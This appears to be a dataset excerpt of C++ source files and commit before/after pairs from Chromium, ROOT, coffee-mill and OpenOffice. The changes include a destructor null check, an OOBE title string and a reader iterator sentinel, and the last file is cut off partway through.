tracker.GetSession(tag1);\n SyncedSession* session2 = tracker.GetSession(tag2);\n SyncedSession* session3 = tracker.GetSession(tag3);\n ASSERT_EQ(3U, tracker.num_synced_sessions());\n\n ASSERT_TRUE(session);\n ASSERT_TRUE(session2);\n ASSERT_TRUE(session3);\n ASSERT_NE(session, session2);\n ASSERT_NE(session2, session3);\n ASSERT_TRUE(tracker.DeleteSession(tag3));\n ASSERT_EQ(2U, tracker.num_synced_sessions());\n\n tracker.PutWindowInSession(tag1, 0); \/\/ Create a window.\n tracker.PutTabInWindow(tag1, 0, 2, 0); \/\/ No longer unmapped.\n ASSERT_EQ(3U, tracker.num_synced_tabs(tag1)); \/\/ Has not changed.\n\n const SessionTab *tab_ptr;\n ASSERT_TRUE(tracker.LookupSessionTab(tag1, 0, &tab_ptr));\n ASSERT_EQ(tab_ptr, tabs1[0]);\n ASSERT_TRUE(tracker.LookupSessionTab(tag1, 2, &tab_ptr));\n ASSERT_EQ(tab_ptr, tabs1[2]);\n ASSERT_FALSE(tracker.LookupSessionTab(tag1, 3, &tab_ptr));\n ASSERT_EQ(static_cast<const SessionTab*>(NULL), tab_ptr);\n\n std::vector<const SessionWindow*> windows;\n ASSERT_TRUE(tracker.LookupSessionWindows(tag1, &windows));\n ASSERT_EQ(1U, windows.size());\n ASSERT_TRUE(tracker.LookupSessionWindows(tag2, &windows));\n ASSERT_EQ(0U, windows.size());\n\n \/\/ The sessions don't have valid tabs, lookup should not succeed.\n std::vector<const SyncedSession*> sessions;\n ASSERT_FALSE(tracker.LookupAllForeignSessions(&sessions));\n\n tracker.Clear();\n ASSERT_EQ(0U, tracker.num_synced_tabs(tag1));\n ASSERT_EQ(0U, tracker.num_synced_tabs(tag2));\n ASSERT_EQ(0U, tracker.num_synced_sessions());\n}\n\nTEST_F(SyncedSessionTrackerTest, ManyGetTabs) {\n SyncedSessionTracker tracker;\n ASSERT_TRUE(tracker.Empty());\n const int kMaxSessions = 10;\n const int kMaxTabs = 1000;\n const int kMaxAttempts = 10000;\n for (int j=0; j<kMaxSessions; ++j) {\n std::string tag = base::StringPrintf(\"tag%d\", j);\n for (int i=0; i<kMaxAttempts; ++i) {\n \/\/ More attempts than tabs means we'll sometimes get the same tabs,\n \/\/ sometimes have to allocate new tabs.\n int rand_tab_num = base::RandInt(0, kMaxTabs);\n SessionTab* tab = tracker.GetTab(tag, rand_tab_num);\n ASSERT_TRUE(tab);\n }\n }\n}\n\nTEST_F(SyncedSessionTrackerTest, SessionTracking) {\n SyncedSessionTracker tracker;\n ASSERT_TRUE(tracker.Empty());\n std::string tag1 = \"tag1\";\n std::string tag2 = \"tag2\";\n\n \/\/ Create some session information that is stale.\n SyncedSession* session1= tracker.GetSession(tag1);\n tracker.PutWindowInSession(tag1, 0);\n tracker.PutTabInWindow(tag1, 0, 0, 0);\n tracker.PutTabInWindow(tag1, 0, 1, 1);\n tracker.GetTab(tag1, 2)->window_id.set_id(0); \/\/ Will be an unmapped tab.\n tracker.GetTab(tag1, 3)->window_id.set_id(0); \/\/ Will be an unmapped tab.\n tracker.PutWindowInSession(tag1, 1);\n tracker.PutTabInWindow(tag1, 1, 4, 0);\n tracker.PutTabInWindow(tag1, 1, 5, 1);\n ASSERT_EQ(2U, session1->windows.size());\n ASSERT_EQ(2U, session1->windows[0]->tabs.size());\n ASSERT_EQ(2U, session1->windows[1]->tabs.size());\n ASSERT_EQ(6U, tracker.num_synced_tabs(tag1));\n\n \/\/ Create a session that should not be affected.\n SyncedSession* session2 = tracker.GetSession(tag2);\n tracker.PutWindowInSession(tag2, 2);\n tracker.PutTabInWindow(tag2, 2, 1, 0);\n ASSERT_EQ(1U, session2->windows.size());\n ASSERT_EQ(1U, session2->windows[2]->tabs.size());\n ASSERT_EQ(1U, tracker.num_synced_tabs(tag2));\n\n \/\/ Reset tracking and get the current windows\/tabs.\n \/\/ We simulate moving a tab from one window to another, then closing the first\n \/\/ window (including it's one remaining tab), and opening a new tab on the\n \/\/ remaining window.\n tracker.GetTab(tag1, 6); \/\/ New tab, arrived before meta node so unmapped.\n tracker.ResetSessionTracking(tag1);\n tracker.PutWindowInSession(tag1, 0);\n tracker.PutTabInWindow(tag1, 0, 0, 0);\n \/\/ Tab 1 is closed.\n tracker.PutTabInWindow(tag1, 0, 2, 1); \/\/ No longer unmapped.\n \/\/ Tab 3 was unmapped and does not get used.\n tracker.PutTabInWindow(tag1, 0, 4, 2); \/\/ Moved from window 1.\n \/\/ Window 1 was closed, along with tab 5.\n tracker.PutTabInWindow(tag1, 0, 6, 3); \/\/ No longer unmapped.\n \/\/ Session 2 should not be affected.\n tracker.CleanupSession(tag1);\n\n \/\/ Verify that only those parts of the session not owned have been removed.\n ASSERT_EQ(1U, session1->windows.size());\n ASSERT_EQ(4U, session1->windows[0]->tabs.size());\n ASSERT_EQ(1U, session2->windows.size());\n ASSERT_EQ(1U, session2->windows[2]->tabs.size());\n ASSERT_EQ(2U, tracker.num_synced_sessions());\n ASSERT_EQ(4U, tracker.num_synced_tabs(tag1));\n ASSERT_EQ(1U, tracker.num_synced_tabs(tag2));\n\n \/\/ All memory should be properly deallocated by destructor for the\n \/\/ SyncedSessionTracker.\n}\n\n} \/\/ namespace browser_sync\n<|endoftext|>"} {"text":"<commit_before>\/\/ @(#)root\/meta:$Name: $:$Id: GenericClassInfo.cxx,v 1.1 2002\/05\/09 20:53:21 brun Exp $\n\/\/ Author: Philippe Canal 08\/05\/2002\n\n\/*************************************************************************\n * Copyright (C) 1995-2002, Rene Brun, Fons Rademakers and al. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n#include \"Rtypes.h\"\n#include \"TNamed.h\"\n#include \"TClass.h\"\n\n\nnamespace ROOT {\n\n const InitBehavior *DefineBehavior(void * \/*parent_type*\/,\n void * \/*actual_type*\/)\n {\n\n \/\/ This function loads the default behavior for the\n \/\/ loading of classes.\n\n static DefaultInitBehavior theDefault;\n return &theDefault;\n }\n\n GenericClassInfo::GenericClassInfo(const char *fullClassname,\n const char *declFileName, Int_t declFileLine,\n const type_info &info, const InitBehavior *action,\n void *showmembers, VoidFuncPtr_t dictionary,\n IsAFunc_t isa, Int_t pragmabits)\n : fAction(action), fClassName(fullClassname),\n fDeclFileName(declFileName), fDeclFileLine(declFileLine),\n fDictionary(dictionary), fInfo(info), fIsA(isa), fShowMembers(showmembers),\n fVersion(1)\n {\n Init(pragmabits);\n }\n\n GenericClassInfo::GenericClassInfo(const char *fullClassname, Int_t version,\n const char *declFileName, Int_t declFileLine,\n const type_info &info, const InitBehavior *action,\n void* showmembers, VoidFuncPtr_t dictionary,\n IsAFunc_t isa, Int_t pragmabits)\n : fAction(action), fClassName(fullClassname),\n fDeclFileName(declFileName), fDeclFileLine(declFileLine),\n fDictionary(dictionary), fInfo(info), fIsA(isa), fShowMembers(showmembers),\n fVersion(version)\n {\n Init(pragmabits);\n }\n\n GenericClassInfo::GenericClassInfo(const char *fullClassname, Int_t version,\n const char *declFileName, Int_t declFileLine,\n const type_info &info, const InitBehavior *action,\n void* showmembers, VoidFuncPtr_t dictionary,\n Int_t pragmabits)\n : fAction(action), fClassName(fullClassname),\n fDeclFileName(declFileName), fDeclFileLine(declFileLine),\n fDictionary(dictionary), fInfo(info), fIsA(0), fShowMembers(showmembers),\n fVersion(version)\n {\n Init(pragmabits);\n }\n\n GenericClassInfo::GenericClassInfo(const char *fullClassname, Int_t version,\n const char *declFileName, Int_t declFileLine,\n const type_info &info, const InitBehavior *action,\n VoidFuncPtr_t dictionary,\n Int_t pragmabits)\n : fAction(action), fClassName(fullClassname),\n fDeclFileName(declFileName), fDeclFileLine(declFileLine),\n fDictionary(dictionary), fInfo(info), fIsA(0), fShowMembers(0),\n fVersion(version)\n {\n Init(pragmabits);\n }\n\n void GenericClassInfo::Init(Int_t pragmabits)\n {\n if (!fAction) return;\n GetAction().Register(fClassName,\n fVersion,\n fInfo, \/\/ typeid(RootClass),\n fDictionary,\n pragmabits);\n }\n\n GenericClassInfo::~GenericClassInfo()\n {\n if (fAction) GetAction().Unregister(GetClassName());\n }\n\n const InitBehavior &GenericClassInfo::GetAction() const\n {\n return *fAction;\n }\n\n TClass *GenericClassInfo::GetClass()\n {\n if (!fClass && fAction) {\n fClass = GetAction().CreateClass(GetClassName(),\n GetVersion(),\n GetInfo(),\n GetIsA(),\n (ShowMembersFunc_t)GetShowMembers(),\n GetDeclFileName(),\n GetImplFileName(),\n GetDeclFileLine(),\n GetImplFileLine());\n }\n return fClass;\n }\n\n const char *GenericClassInfo::GetClassName() const\n {\n return fClassName;\n }\n\n const type_info &GenericClassInfo::GetInfo() const\n {\n return fInfo;\n }\n\n void *GenericClassInfo::GetShowMembers() const\n {\n return fShowMembers;\n }\n\n void GenericClassInfo::SetFromTemplate()\n {\n TNamed *info = ROOT::RegisterClassTemplate(GetClassName(), 0, 0);\n if (info) SetImplFile(info->GetTitle(), info->GetUniqueID());\n }\n\n Int_t GenericClassInfo::SetImplFile(const char *file, Int_t line)\n {\n fImplFileName = file;\n fImplFileLine = line;\n if (fClass) fClass->AddImplFile(file,line);\n return 0;\n }\n\n Short_t GenericClassInfo::SetVersion(Short_t version)\n {\n ROOT::ResetClassVersion(fClass, GetClassName(),version);\n fVersion = version;\n return version;\n }\n\n const char *GenericClassInfo::GetDeclFileName() const\n {\n return fDeclFileName;\n }\n\n Int_t GenericClassInfo::GetDeclFileLine() const\n {\n return fDeclFileLine;\n }\n\n const char *GenericClassInfo::GetImplFileName()\n {\n if (!fImplFileName) SetFromTemplate();\n return fImplFileName;\n }\n\n Int_t GenericClassInfo::GetImplFileLine()\n {\n if (!fImplFileLine) SetFromTemplate();\n return fImplFileLine;\n }\n\n Int_t GenericClassInfo::GetVersion() const\n {\n return fVersion;\n }\n\n TClass *GenericClassInfo::IsA(const void *obj)\n {\n return (GetIsA())(obj);\n }\n\n IsAFunc_t GenericClassInfo::GetIsA() const\n {\n return fIsA;\n }\n\n}\n<commit_msg>In the GenericClassInfo destructor, return immediatly if gROOT is null. This case happens when the TROOT destructor itself is called. Without this protection, most programs crashed at the end.<commit_after>\/\/ @(#)root\/meta:$Name: $:$Id: GenericClassInfo.cxx,v 1.2 2002\/05\/09 22:57:37 rdm Exp $\n\/\/ Author: Philippe Canal 08\/05\/2002\n\n\/*************************************************************************\n * Copyright (C) 1995-2002, Rene Brun, Fons Rademakers and al. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n#include \"TROOT.h\"\n#include \"TClass.h\"\n\n\nnamespace ROOT {\n\n const InitBehavior *DefineBehavior(void * \/*parent_type*\/,\n void * \/*actual_type*\/)\n {\n\n \/\/ This function loads the default behavior for the\n \/\/ loading of classes.\n\n static DefaultInitBehavior theDefault;\n return &theDefault;\n }\n\n GenericClassInfo::GenericClassInfo(const char *fullClassname,\n const char *declFileName, Int_t declFileLine,\n const type_info &info, const InitBehavior *action,\n void *showmembers, VoidFuncPtr_t dictionary,\n IsAFunc_t isa, Int_t pragmabits)\n : fAction(action), fClassName(fullClassname),\n fDeclFileName(declFileName), fDeclFileLine(declFileLine),\n fDictionary(dictionary), fInfo(info), fIsA(isa), fShowMembers(showmembers),\n fVersion(1)\n {\n Init(pragmabits);\n }\n\n GenericClassInfo::GenericClassInfo(const char *fullClassname, Int_t version,\n const char *declFileName, Int_t declFileLine,\n const type_info &info, const InitBehavior *action,\n void* showmembers, VoidFuncPtr_t dictionary,\n IsAFunc_t isa, Int_t pragmabits)\n : fAction(action), fClassName(fullClassname),\n fDeclFileName(declFileName), fDeclFileLine(declFileLine),\n fDictionary(dictionary), fInfo(info), fIsA(isa), fShowMembers(showmembers),\n fVersion(version)\n {\n Init(pragmabits);\n }\n\n GenericClassInfo::GenericClassInfo(const char *fullClassname, Int_t version,\n const char *declFileName, Int_t declFileLine,\n const type_info &info, const InitBehavior *action,\n void* showmembers, VoidFuncPtr_t dictionary,\n Int_t pragmabits)\n : fAction(action), fClassName(fullClassname),\n fDeclFileName(declFileName), fDeclFileLine(declFileLine),\n fDictionary(dictionary), fInfo(info), fIsA(0), fShowMembers(showmembers),\n fVersion(version)\n {\n Init(pragmabits);\n }\n\n GenericClassInfo::GenericClassInfo(const char *fullClassname, Int_t version,\n const char *declFileName, Int_t declFileLine,\n const type_info &info, const InitBehavior *action,\n VoidFuncPtr_t dictionary,\n Int_t pragmabits)\n : fAction(action), fClassName(fullClassname),\n fDeclFileName(declFileName), fDeclFileLine(declFileLine),\n fDictionary(dictionary), fInfo(info), fIsA(0), fShowMembers(0),\n fVersion(version)\n {\n Init(pragmabits);\n }\n\n void GenericClassInfo::Init(Int_t pragmabits)\n {\n if (!fAction) return;\n GetAction().Register(fClassName,\n fVersion,\n fInfo, \/\/ typeid(RootClass),\n fDictionary,\n pragmabits);\n }\n\n GenericClassInfo::~GenericClassInfo()\n {\n if (!gROOT) return;\n if (fAction) GetAction().Unregister(GetClassName());\n }\n\n const InitBehavior &GenericClassInfo::GetAction() const\n {\n return *fAction;\n }\n\n TClass *GenericClassInfo::GetClass()\n {\n if (!fClass && fAction) {\n fClass = GetAction().CreateClass(GetClassName(),\n GetVersion(),\n GetInfo(),\n GetIsA(),\n (ShowMembersFunc_t)GetShowMembers(),\n GetDeclFileName(),\n GetImplFileName(),\n GetDeclFileLine(),\n GetImplFileLine());\n }\n return fClass;\n }\n\n const char *GenericClassInfo::GetClassName() const\n {\n return fClassName;\n }\n\n const type_info &GenericClassInfo::GetInfo() const\n {\n return fInfo;\n }\n\n void *GenericClassInfo::GetShowMembers() const\n {\n return fShowMembers;\n }\n\n void GenericClassInfo::SetFromTemplate()\n {\n TNamed *info = ROOT::RegisterClassTemplate(GetClassName(), 0, 0);\n if (info) SetImplFile(info->GetTitle(), info->GetUniqueID());\n }\n\n Int_t GenericClassInfo::SetImplFile(const char *file, Int_t line)\n {\n fImplFileName = file;\n fImplFileLine = line;\n if (fClass) fClass->AddImplFile(file,line);\n return 0;\n }\n\n Short_t GenericClassInfo::SetVersion(Short_t version)\n {\n ROOT::ResetClassVersion(fClass, GetClassName(),version);\n fVersion = version;\n return version;\n }\n\n const char *GenericClassInfo::GetDeclFileName() const\n {\n return fDeclFileName;\n }\n\n Int_t GenericClassInfo::GetDeclFileLine() const\n {\n return fDeclFileLine;\n }\n\n const char *GenericClassInfo::GetImplFileName()\n {\n if (!fImplFileName) SetFromTemplate();\n return fImplFileName;\n }\n\n Int_t GenericClassInfo::GetImplFileLine()\n {\n if (!fImplFileLine) SetFromTemplate();\n return fImplFileLine;\n }\n\n Int_t GenericClassInfo::GetVersion() const\n {\n return fVersion;\n }\n\n TClass *GenericClassInfo::IsA(const void *obj)\n {\n return (GetIsA())(obj);\n }\n\n IsAFunc_t GenericClassInfo::GetIsA() const\n {\n return fIsA;\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/webui\/chromeos\/login\/core_oobe_handler.h\"\n\n#include \"base\/values.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/chromeos\/accessibility_util.h\"\n#include \"chrome\/browser\/ui\/webui\/chromeos\/login\/oobe_ui.h\"\n#include \"grit\/chromium_strings.h\"\n#include \"grit\/generated_resources.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n\nnamespace {\n\n\/\/ JS API callbacks names.\nconst char kJsApiScreenStateInitialize[] = \"screenStateInitialize\";\nconst char kJsApiToggleAccessibility[] = \"toggleAccessibility\";\n\n} \/\/ namespace\n\nnamespace chromeos {\n\n\/\/ Note that show_oobe_ui_ defaults to false because WizardController assumes\n\/\/ OOBE UI is not visible by default.\nCoreOobeHandler::CoreOobeHandler(OobeUI* oobe_ui)\n : oobe_ui_(oobe_ui),\n show_oobe_ui_(false),\n version_info_updater_(this) {\n}\n\nCoreOobeHandler::~CoreOobeHandler() {\n}\n\nvoid CoreOobeHandler::GetLocalizedStrings(\n base::DictionaryValue* localized_strings) {\n localized_strings->SetString(\n \"productName\", l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME));\n}\n\nvoid CoreOobeHandler::Initialize() {\n UpdateOobeUIVisibility();\n#if defined(OFFICIAL_BUILD)\n version_info_updater_.StartUpdate(true);\n#else\n version_info_updater_.StartUpdate(false);\n#endif\n}\n\nvoid CoreOobeHandler::RegisterMessages() {\n web_ui_->RegisterMessageCallback(kJsApiToggleAccessibility,\n NewCallback(this, &CoreOobeHandler::OnToggleAccessibility));\n web_ui_->RegisterMessageCallback(kJsApiScreenStateInitialize,\n NewCallback(this, &CoreOobeHandler::OnInitialized));\n}\n\nvoid CoreOobeHandler::OnInitialized(const base::ListValue* args) {\n oobe_ui_->InitializeHandlers();\n}\n\nvoid CoreOobeHandler::OnToggleAccessibility(const base::ListValue* args) {\n accessibility::ToggleAccessibility(web_ui_);\n}\n\nvoid CoreOobeHandler::ShowOobeUI(bool show) {\n if (show == show_oobe_ui_)\n return;\n\n show_oobe_ui_ = show;\n\n if (page_is_ready())\n UpdateOobeUIVisibility();\n}\n\nvoid CoreOobeHandler::UpdateOobeUIVisibility() {\n base::FundamentalValue showValue(show_oobe_ui_);\n web_ui_->CallJavascriptFunction(\"cr.ui.Oobe.showOobeUI\", showValue);\n}\n\nvoid CoreOobeHandler::OnOSVersionLabelTextUpdated(\n const std::string& os_version_label_text) {\n UpdateLabel(\"version\", os_version_label_text);\n}\n\nvoid CoreOobeHandler::OnBootTimesLabelTextUpdated(\n const std::string& boot_times_label_text) {\n UpdateLabel(\"boot-times\", boot_times_label_text);\n}\n\nvoid CoreOobeHandler::UpdateLabel(const std::string& id,\n const std::string& text) {\n base::StringValue id_value(UTF8ToUTF16(id));\n base::StringValue text_value(UTF8ToUTF16(text));\n web_ui_->CallJavascriptFunction(\"cr.ui.Oobe.setLabelText\",\n id_value,\n text_value);\n}\n\n} \/\/ namespace chromeos\n<commit_msg>Add a title to the OOBE screen so that is doesn't say 'unknown'<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/webui\/chromeos\/login\/core_oobe_handler.h\"\n\n#include \"base\/values.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/chromeos\/accessibility_util.h\"\n#include \"chrome\/browser\/ui\/webui\/chromeos\/login\/oobe_ui.h\"\n#include \"grit\/chromium_strings.h\"\n#include \"grit\/generated_resources.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n\nnamespace {\n\n\/\/ JS API callbacks names.\nconst char kJsApiScreenStateInitialize[] = \"screenStateInitialize\";\nconst char kJsApiToggleAccessibility[] = \"toggleAccessibility\";\n\n} \/\/ namespace\n\nnamespace chromeos {\n\n\/\/ Note that show_oobe_ui_ defaults to false because WizardController assumes\n\/\/ OOBE UI is not visible by default.\nCoreOobeHandler::CoreOobeHandler(OobeUI* oobe_ui)\n : oobe_ui_(oobe_ui),\n show_oobe_ui_(false),\n version_info_updater_(this) {\n}\n\nCoreOobeHandler::~CoreOobeHandler() {\n}\n\nvoid CoreOobeHandler::GetLocalizedStrings(\n base::DictionaryValue* localized_strings) {\n localized_strings->SetString(\n \"title\", l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME));\n localized_strings->SetString(\n \"productName\", l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME));\n}\n\nvoid CoreOobeHandler::Initialize() {\n UpdateOobeUIVisibility();\n#if defined(OFFICIAL_BUILD)\n version_info_updater_.StartUpdate(true);\n#else\n version_info_updater_.StartUpdate(false);\n#endif\n}\n\nvoid CoreOobeHandler::RegisterMessages() {\n web_ui_->RegisterMessageCallback(kJsApiToggleAccessibility,\n NewCallback(this, &CoreOobeHandler::OnToggleAccessibility));\n web_ui_->RegisterMessageCallback(kJsApiScreenStateInitialize,\n NewCallback(this, &CoreOobeHandler::OnInitialized));\n}\n\nvoid CoreOobeHandler::OnInitialized(const base::ListValue* args) {\n oobe_ui_->InitializeHandlers();\n}\n\nvoid CoreOobeHandler::OnToggleAccessibility(const base::ListValue* args) {\n accessibility::ToggleAccessibility(web_ui_);\n}\n\nvoid CoreOobeHandler::ShowOobeUI(bool show) {\n if (show == show_oobe_ui_)\n return;\n\n show_oobe_ui_ = show;\n\n if (page_is_ready())\n UpdateOobeUIVisibility();\n}\n\nvoid CoreOobeHandler::UpdateOobeUIVisibility() {\n base::FundamentalValue showValue(show_oobe_ui_);\n web_ui_->CallJavascriptFunction(\"cr.ui.Oobe.showOobeUI\", showValue);\n}\n\nvoid CoreOobeHandler::OnOSVersionLabelTextUpdated(\n const std::string& os_version_label_text) {\n UpdateLabel(\"version\", os_version_label_text);\n}\n\nvoid CoreOobeHandler::OnBootTimesLabelTextUpdated(\n const std::string& boot_times_label_text) {\n UpdateLabel(\"boot-times\", boot_times_label_text);\n}\n\nvoid CoreOobeHandler::UpdateLabel(const std::string& id,\n const std::string& text) {\n base::StringValue id_value(UTF8ToUTF16(id));\n base::StringValue text_value(UTF8ToUTF16(text));\n web_ui_->CallJavascriptFunction(\"cr.ui.Oobe.setLabelText\",\n id_value,\n text_value);\n}\n\n} \/\/ namespace chromeos\n<|endoftext|>"} {"text":"<commit_before>#ifndef COFFEE_MILL_COMMON_DEFERED_READER_HPP\n#define COFFEE_MILL_COMMON_DEFERED_READER_HPP\n#include <mill\/common\/Trajectory.hpp>\n#include <string_view>\n#include <optional>\n#include <iterator>\n#include <cstddef>\n\nnamespace mill\n{\n\nclass DeferedReaderBase;\n\nclass ReaderIterator\n{\n public:\n using iterator_category = std::input_iterator_tag;\n using difference_type = std::ptrdiff_t;\n using value_type = Snapshot;\n using reference = value_type&;\n using pointer = value_type*;\n\n public:\n explicit ReaderIterator(DeferedReaderBase& reader)\n : current_(std::nullopt), reader_(std::addressof(reader))\n {}\n\n const value_type& operator* () const\n {\n if(!current_) {current_ = reader_->read_frame();}\n return *current_;\n }\n const value_type* operator->() const\n {\n if(!current_) {current_ = reader_->read_frame();}\n return std::addressof(*current_);\n }\n\n ReaderIterator& operator++()\n {\n current_ = reader_->read_frame();\n return *this;\n }\n ReaderIterator operator++(int)\n {\n current_ = reader_->read_frame();\n return *this;\n }\n\n bool is_eof() const noexcept {return reader_->is_eof();}\n std::size_t current() const noexcept {return reader_->current();}\n std::string_view file_name() const noexcept {return reader_->file_name();}\n\n private:\n std::optional<value_type> current_;\n DeferedReaderBase* reader_;\n};\n\ninline bool operator==(const ReaderIterator& lhs, const ReaderIterator& rhs)\n{\n return std::make_tuple(lhs->is_eof(), lhs->current(), lhs->file_name()) ==\n std::make_tuple(lhs->is_eof(), lhs->current(), lhs->file_name());\n}\ninline bool operator!=(const ReaderIterator& lhs, const ReaderIterator& rhs)\n{\n return !(lhs == rhs);\n}\n\nclass DeferedReaderBase\n{\n public:\n using trajectory_type = Trajectory;\n using snapshot_type = Snapshot;\n using attribute_container_type = trajectory_type::attribute_container_type;\n\n public:\n\n attribute_container_type read_header() = 0;\n trajectory_type read() = 0;\n snapshot_type read_frame() = 0;\n snapshot_type read_frame(const std::size_t idx) = 0;\n\n bool is_eof() const noexcept = 0;\n std::size_t current() const noexcept = 0;\n std::string_view file_name() const noexcept = 0;\n};\n\n} \/\/ mill\n#endif\/\/ COFFEE_MILL_COMMON_DEFERED_READER_HPP\n<commit_msg>:sparkles: add ReaderIteratorSentinel<commit_after>#ifndef COFFEE_MILL_COMMON_DEFERED_READER_HPP\n#define COFFEE_MILL_COMMON_DEFERED_READER_HPP\n#include <mill\/common\/Trajectory.hpp>\n#include <string_view>\n#include <optional>\n#include <iterator>\n#include <cstddef>\n\nnamespace mill\n{\n\nclass ReaderIterator;\nclass ReaderIteratorSentinel;\n\nclass DeferedReaderBase\n{\n public:\n using trajectory_type = Trajectory;\n using snapshot_type = Snapshot;\n using attribute_container_type = trajectory_type::attribute_container_type;\n\n public:\n\n virtual ~DeferedReaderBase() = default;\n\n virtual attribute_container_type read_header() = 0;\n virtual trajectory_type read() = 0;\n virtual snapshot_type read_frame() = 0;\n virtual snapshot_type read_frame(const std::size_t idx) = 0;\n\n ReaderIterator begin();\n ReaderIteratorSentinel end();\n\n virtual bool is_eof() const noexcept = 0;\n virtual std::size_t current() const noexcept = 0;\n virtual std::string_view file_name() const noexcept = 0;\n};\n\nclass ReaderIterator\n{\n public:\n using iterator_category = std::input_iterator_tag;\n using difference_type = std::ptrdiff_t;\n using value_type = Snapshot;\n using reference = value_type&;\n using pointer = value_type*;\n\n public:\n explicit ReaderIterator(DeferedReaderBase& reader)\n : current_(std::nullopt), reader_(std::addressof(reader))\n {}\n\n value_type& operator*()\n {\n if(!current_) {current_ = reader_->read_frame();}\n return *current_;\n }\n value_type* operator->()\n {\n if(!current_) {current_ = reader_->read_frame();}\n return std::addressof(*current_);\n }\n\n ReaderIterator& operator++()\n {\n current_ = reader_->read_frame();\n return *this;\n }\n ReaderIterator operator++(int)\n {\n current_ = reader_->read_frame();\n return *this;\n }\n\n bool is_eof() const noexcept {return reader_->is_eof();}\n std::size_t current() const noexcept {return reader_->current();}\n std::string_view file_name() const noexcept {return reader_->file_name();}\n\n private:\n std::optional<value_type> current_;\n DeferedReaderBase* reader_;\n};\n\ninline bool operator==(const ReaderIterator& lhs, const ReaderIterator& rhs)\n{\n return std::make_tuple(lhs.is_eof(), lhs.current(), lhs.file_name()) ==\n std::make_tuple(rhs.is_eof(), rhs.current(), rhs.file_name());\n}\ninline bool operator!=(const ReaderIterator& lhs, const ReaderIterator& rhs)\n{\n return !(lhs == rhs);\n}\n\nclass ReaderIteratorSentinel\n{\n public:\n using iterator_category = std::input_iterator_tag;\n using difference_type = std::ptrdiff_t;\n using value_type = Snapshot;\n using reference = value_type&;\n using pointer = value_type*;\n\n public:\n explicit ReaderIteratorSentinel(DeferedReaderBase& reader)\n : file_name_(reader.file_name())\n {}\n\n bool is_eof() const noexcept {return true;}\n std::string_view file_name() const noexcept {return file_name_;}\n\n private:\n std::string_view file_name_;\n};\n\ninline bool operator==(\n const ReaderIteratorSentinel& lhs, const ReaderIteratorSentinel& rhs)\n{\n return lhs.file_name() == rhs.file_name();\n}\ninline bool operator!=(\n const ReaderIteratorSentinel& lhs, const ReaderIteratorSentinel& rhs)\n{\n return !(lhs == rhs);\n}\n\ninline bool operator==(const ReaderIterator& lhs, const ReaderIteratorSentinel& rhs)\n{\n return lhs.is_eof() && (lhs.file_name() == rhs.file_name());\n}\ninline bool operator==(const ReaderIteratorSentinel& lhs, const ReaderIterator& rhs)\n{\n return rhs.is_eof() && (lhs.file_name() == rhs.file_name());\n}\n\ninline ReaderIterator DeferedReaderBase::begin()\n{\n return ReaderIterator(*this);\n}\ninline ReaderIteratorSentinel DeferedReaderBase::end()\n{\n return ReaderIteratorSentinel(*this);\n}\n\n} \/\/ mill\n#endif\/\/ COFFEE_MILL_COMMON_DEFERED_READER_HPP\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: parametricpolypolygonfactory.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: kz $ $Date: 2006-12-13 15:43:25 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_slideshow.hxx\"\n\n#include <canvas\/debug.hxx>\n\n#include <com\/sun\/star\/animations\/TransitionType.hpp>\n#include <com\/sun\/star\/animations\/TransitionSubType.hpp>\n\n#include \"parametricpolypolygonfactory.hxx\"\n#include \"barwipepolypolygon.hxx\"\n#include \"boxwipe.hxx\"\n#include \"fourboxwipe.hxx\"\n#include \"barndoorwipe.hxx\"\n#include \"doublediamondwipe.hxx\"\n#include \"veewipe.hxx\"\n#include \"iriswipe.hxx\"\n#include \"ellipsewipe.hxx\"\n#include \"checkerboardwipe.hxx\"\n#include \"randomwipe.hxx\"\n#include \"waterfallwipe.hxx\"\n#include \"clockwipe.hxx\"\n#include \"fanwipe.hxx\"\n#include \"pinwheelwipe.hxx\"\n#include \"snakewipe.hxx\"\n#include \"spiralwipe.hxx\"\n#include \"sweepwipe.hxx\"\n#include \"figurewipe.hxx\"\n#include \"zigzagwipe.hxx\"\n\n\nusing namespace ::com::sun::star;\n\nnamespace slideshow\n{\n namespace internal\n {\n ParametricPolyPolygonSharedPtr\n ParametricPolyPolygonFactory::createClipPolyPolygon(\n sal_Int16 nType, sal_Int16 nSubType )\n {\n using namespace ::com::sun::star::animations::TransitionType;\n using 